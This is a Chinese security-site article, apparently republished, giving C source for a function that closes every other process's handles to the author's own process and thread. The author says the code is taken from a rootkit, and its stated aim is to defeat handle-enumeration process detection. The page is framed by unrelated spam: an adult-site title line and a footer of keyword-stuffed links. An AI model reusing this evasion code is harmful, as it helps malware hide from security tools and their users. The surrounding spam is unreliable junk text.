成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

抹掉所有進程中自己的句柄

安全 黑客攻防
之前聽過一個檢測進程的想法,就是暴力枚舉所有進程中的handle,查找其中類型為PROCESS的. 此法也被爐子牛用于他的LzOpenProcess(). 下面我就寫了一斷代碼來對抗這個方法,純屬小伎倆,牛牛們飄過~

抹掉所有進程中自己的句柄

之前聽過一個檢測進程的想法,就是暴力枚舉所有進程中的handle,查找其中類型為PROCESS的.

此法也被爐子牛用于他的LzOpenProcess().

下面我就寫了一斷代碼來對抗這個方法,純屬小伎倆,牛牛們飄過~

嚴格說,此段代碼不算原創,是從某rootkit的bin中扒出來的,因此基本保留其原貌,經我修改測試,主要函數如下:
 

void CloseAllmyHandles() 
{ 
   
  HANDLE hCurProcess,hSouceProcessHandle,hTargetHandle; 
  HANDLE hMyProcess=INVALID_HANDLE_VALUE,hMyThread=INVALID_HANDLE_VALUE; 
  DWORD pid,nBufferLen=0x40000,nRetnLen=0; 
  DWORD HandleCnt,NumberOfHandles; 
  DWORD pMyProcessObject = 0,pMyThreadObject = 0,pObject; 
  CLIENT_ID myCid,tmpCid; 
  PVOID pBuffer = NULL; 
  NTSTATUS status; 
  OBJECT_ATTRIBUTES  ObjectAttributes; 
  myCid.UniqueProcess =(HANDLE)my_GetProcessId(); 
  myCid.UniqueThread=(HANDLE)my_GetThreadId(); 
  InitializeObjectAttributes( &ObjectAttributes, NULL, 0, NULL, NULL ); 
  ZwOpenProcess(&hMyProcess, PROCESS_ALL_ACCESS, &ObjectAttributes, &myCid); 
  ZwOpenThread(&hMyThread, PROCESS_ALL_ACCESS, &ObjectAttributes, &myCid); 
  printf("hMyProcess:0x%08x\n",hMyProcess); 
  printf("hMyThread :0x%08x\n",hMyThread); 
  hCurProcess = GetCurrentProcess(); 
  status=ZwAllocateVirtualMemory(hCurProcess, &pBuffer, 0, &nBufferLen, MEM_COMMIT,PAGE_READWRITE); 
  if (!NT_SUCCESS(status)) 
  { 
    printf("Alloc Memory failed.\n"); 
    return; 
  } 
  printf("Alloced Buffer:0x%08X\n",pBuffer); 
  ZwQuerySystemInformation(SystemHandleInformation, pBuffer, nBufferLen, &nRetnLen);// 16=SystemHandleInformation 
  printf("Searching handles...\n"); 
  HandleCnt=*(DWORD *)pBuffer; 
  printf("Handle Count:%d\n",HandleCnt); 
  if (HandleCnt>1) 
  { 
    NumberOfHandles=*(DWORD*)pBuffer; 
    pHandleInfo=(PSYSTEM_HANDLE_TABLE_ENTRY_INFO)((char*)pBuffer+sizeof(DWORD)); 
    do 
    {                                                 
      //printf("HandleValue:0x%08X\n",pHandleInfo->HandleValue); 
      if ( pHandleInfo->HandleValue==(USHORT)hMyThread ) 
    { 
        if (pHandleInfo->UniqueProcessId == (USHORT)myCid.UniqueProcess ) 
        { 
          pMyThreadObject = *(DWORD*)&(pHandleInfo->Object); 
          printf("Thread  finded\n"); 
        } 
      } 
      if (pHandleInfo->HandleValue==(USHORT)hMyProcess ) 
      { 
        if (pHandleInfo->UniqueProcessId == (USHORT)myCid.UniqueProcess) 
        { 
          pMyProcessObject =*(DWORD*)&(pHandleInfo->Object); 
          printf("Process finded\n"); 
        } 
      } 
      ++pHandleInfo; 
      --NumberOfHandles; 
     
    } 
    while ( NumberOfHandles ); 
  } 
  ZwClose(hMyThread); 
  ZwClose(hMyProcess); 
  printf("Found my object ok.\nBegin Search and Close...\n"); 
  NumberOfHandles=HandleCnt; 
  if (HandleCnt>=1 ) 
  { 
  pHandleInfo=(PSYSTEM_HANDLE_TABLE_ENTRY_INFO)((char*)pBuffer+sizeof(DWORD)); 
    do 
    { 
      pObject = *(DWORD*)&(pHandleInfo->Object); 
     
      if ( pMyProcessObject == pObject || pMyThreadObject == pObject ) 
      { 
        printf("Found Handle=0x%08X OwnerPID=%4d\n",pHandleInfo->HandleValue,pHandleInfo->UniqueProcessId); 
      tmpCid.UniqueProcess= (HANDLE)pHandleInfo->UniqueProcessId; 
      tmpCid.UniqueThread=0; 
      InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL ); 
      status=ZwOpenProcess(&hSouceProcessHandle, PROCESS_DUP_HANDLE, &ObjectAttributes, &tmpCid); 
        //PrintZwError("ZwOpenProcess",status); 
        if (!status) 
        { 
    status=ZwDuplicateObject( 
            hSouceProcessHandle, 
            (void*)pHandleInfo->HandleValue, 
            hCurProcess, 
            &hTargetHandle, 
            0, 
            0, 
                DUPLICATE_CLOSE_SOURCE); 

  if ( !status) 
          { 
            ZwClose(hTargetHandle); 
            printf("Handle closed!\n"); 
          } 
      //PrintZwError("ZwDuplicateObject",status); 
          ZwClose(hSouceProcessHandle); 
        } 
      } 
      ++pHandleInfo; 
      --NumberOfHandles; 
    } 
    while ( NumberOfHandles ); 
  } 
  ZwFreeVirtualMemory(hCurProcess, &pBuffer, &nBufferLen, MEM_RELEASE); 
}

【編輯推薦】

  1. 如何從異常系統進程檢查企業網絡安全
  2. 系統安全之利用操作系統自帶命令殺毒
  3. 巧妙從進程中判斷病毒木馬
責任編輯:安泉 來源: 黑客防線
相關推薦

2011-03-07 17:52:51

2022-04-15 10:37:00

權限進程UAC

2011-01-26 13:26:32

Linux進程

2022-02-09 09:46:15

BRATA惡意程安卓

2021-10-26 10:42:49

NET進程托管

2023-07-03 07:27:41

進程線程Win32

2015-03-24 13:52:36

slay

2010-06-28 14:52:30

cron進程

2016-10-28 21:30:00

AndroidJava進程

2024-05-23 08:24:11

Android進程開發

2020-11-17 06:52:51

架構數據庫存儲

2020-09-07 07:00:09

AI 數據人工智能

2009-12-25 10:48:23

ps -aux

2010-03-31 14:36:50

Oracle進程結構

2023-02-13 11:26:03

符號鏈接Linux

2016-10-17 14:09:34

原始數據大數據大數據交易

2022-06-30 07:45:29

搜索聯合搜索索引

2021-10-14 07:42:25

蘋果藍牙Bug

2009-06-11 11:44:15

工具庫Java

2013-12-02 17:33:20

Linux進程多線程
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 欧美日韩精品久久久免费观看 | 亚洲国产精品va在线看黑人 | 亚洲精品麻豆 | 热re99久久精品国99热观看 | 免费高清成人 | 国产高清视频一区二区 | 亚洲一区二区三区免费观看 | 日本特黄a级高清免费大片 特黄色一级毛片 | 欧美精品在欧美一区二区少妇 | 欧美二区三区 | 国产精品不卡一区 | 91大神xh98xh系列全部 | 欧美aaaa视频 | 久久国产精品视频 | 亚洲天堂精品久久 | 91精品国产91久久久久久吃药 | 国产精品伦一区二区三级视频 | 精品96久久久久久中文字幕无 | 久草中文网 | 国产综合久久 | 日韩不卡一区二区 | 一级在线观看 | 欧美激情综合五月色丁香小说 | 日韩成人高清在线 | 99久久免费精品 | www国产成人 | 日韩成人免费视频 | 国产精品国产精品国产专区不卡 | 91大神在线资源观看无广告 | 国产91视频一区二区 | 成人免费视频网站在线观看 | 黄色在线免费观看视频网站 | 国产一区二区三区四区 | 国产精品福利视频 | 亚洲综合天堂网 | 国产精品一区二 | 久久91精品国产一区二区 | 99精品99 | 国产电影一区二区三区爱妃记 | 亚洲第一免费播放区 | 日韩欧美精品在线播放 |